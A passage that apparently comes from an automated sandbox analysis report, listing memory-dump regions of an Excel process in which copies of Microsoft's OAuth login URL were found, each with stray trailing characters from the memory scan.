    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize5h
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize8k
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize:i
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize;j
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize=
    Source: EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeADALClientIdExceld3590
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeC
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeDLL
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeDLLHl0
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeDh4
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeF
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeIm1
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeM
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeQ
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeR
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeS
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeTi$
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeUj%
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeW
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizea
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeb
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizec
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizecom
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizedj
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizefh
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizefic
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeize
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizeizeWh
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizel
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizen
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizep
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizete
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizetk
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorizevi
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://login.windows.net/common/oauth2/authorize~
